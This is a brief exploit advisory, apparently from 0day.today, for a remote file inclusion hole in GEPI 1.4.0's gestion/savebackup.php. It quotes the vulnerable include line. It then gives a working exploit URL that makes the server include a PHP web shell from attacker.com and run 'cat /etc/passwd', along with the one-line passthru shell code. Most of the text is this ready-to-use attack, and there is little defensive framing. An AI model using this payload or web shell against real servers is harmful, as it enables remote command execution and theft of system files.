GEPI <= 1.4.0 gestion/savebackup.php Remote File Include Vulnerability

======================================================================
GEPI <= 1.4.0 gestion/savebackup.php Remote File Include Vulnerability
======================================================================



Package:- gepi 1.4.0

impact:- highly critical ..System Access..
vulnerable code:-
      include($_GET['filename']);
in gepi/gestion/savebackup.php

Exploit:-
http://localhost/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat
/etc/passwd

in test.txt
<? passthru("$_GET[cmd]");?>

Credits:-
$um$id



#  0day.today [2018-01-02]  #